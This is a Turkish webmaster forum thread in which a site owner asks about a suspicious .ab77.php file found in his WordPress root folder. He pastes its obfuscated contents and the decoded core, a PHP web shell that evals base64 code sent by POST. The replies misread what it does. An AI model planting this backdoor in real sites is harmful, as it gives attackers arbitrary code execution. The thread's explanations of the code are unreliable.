lostyazilim
tr.link

site anadizinine atılan php dosyası nedir?

2 Mesajlar 984 Okunma
lstbozum
tr.link

FOMOCO FOMOCO WM Aracı Kullanıcı
  • Üyelik 10.11.2011
  • Yaş/Cinsiyet 41 / E
  • Meslek Nakliyat
  • Konum
  • Ad Soyad C** A**
  • Mesajlar 417
  • Beğeniler 184 / 76
  • Ticaret 1, (%100)
s.a arkadaşlar wordpress sitemin anadzinine (public_html) [COLOR=Red].ab77.php[/COLOR] adında php dosyası atılmış...



php dosya içeriği, nedir ne yapmak istemişler?

$_=
//system file do not delete
'CmlmKGlzc2V0KCRfUE9TVFsiY29kZSJdKSkKewogICAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29kZSJdKSk7Cn0=';
//system file do not delete
$__ = "JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7";$___ = "\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));



decode edince, Postlarımı silmek istemiş ne :)

if(isset($_POST["code"]))
{
eval(base64_decode($_POST["code"]));
}
 

 

wmaraci
reklam

Anarschi Anarschi Sms Onayı Gerekli Banlı Kullanıcı
  • Üyelik 16.12.2010
  • Yaş/Cinsiyet 34 / E
  • Meslek High Professional Student in G
  • Konum
  • Ad Soyad ** **
  • Mesajlar 372
  • Beğeniler 82 / 243
  • Ticaret 0, (%0)
Klasik ftp virüsü hocam..Ayrıca decode işlemi o kadar basit çevrilmiyor :) Farklı kodlar vardır orada.
 

 

wmaraci
Konuyu toplam 1 kişi okuyor. (0 kullanıcı ve 1 misafir)
Site Ayarları
  • Tema Seçeneği
  • Site Sesleri
  • Bildirimler
  • Özel Mesaj Al